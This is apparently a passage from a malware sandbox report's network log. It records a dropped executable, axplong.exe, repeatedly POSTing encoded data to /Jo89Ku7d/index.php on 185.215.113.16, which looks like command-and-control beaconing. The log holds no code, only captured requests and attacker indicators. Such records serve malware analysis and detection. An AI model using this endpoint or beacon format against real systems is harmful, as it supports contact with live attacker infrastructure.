                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:44.789716005 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:44 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            30192.168.2.449766185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:44.904561043 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:45.633390903 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:45 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:45.635934114 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:45.864634991 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:45 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            31192.168.2.449767185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:45.984148979 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:46.685403109 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:46 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:46.687889099 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:46.927462101 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:46 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            32192.168.2.449768185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:47.055138111 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:47.783771992 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:47 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:47.857543945 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:48.094003916 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:47 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            33192.168.2.449769185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:48.216382980 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:48.907877922 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:48 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:48.908798933 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:49.130883932 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:49 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            34192.168.2.449770185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:49.247442961 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:49.967483997 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:49 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:49.968365908 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:50.201533079 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:50 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            35192.168.2.449771185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:50.316247940 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:51.045465946 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:50 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:51.046410084 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:51.279191017 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:51 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            36192.168.2.449772185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:51.389867067 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:52.095688105 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:51 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:52.096549988 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:52.325617075 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:52 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            37192.168.2.449773185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:52.437758923 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:53.134936094 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:53 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:53.135987043 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:53.361330032 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:53 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            38192.168.2.449774185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:53.483159065 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:54.304513931 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:54 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:54.305737972 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:54.538002014 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:54 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            39192.168.2.449775185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:54.705497980 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:55.415662050 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:55 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:55.416555882 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:55.645129919 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:55 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            40192.168.2.449776185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:55.761641979 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:56.478044987 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:56 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:56.479207993 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:56.714613914 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:56 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            41192.168.2.449777185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:56.828372955 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:57.522582054 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:57 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:57.524230957 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
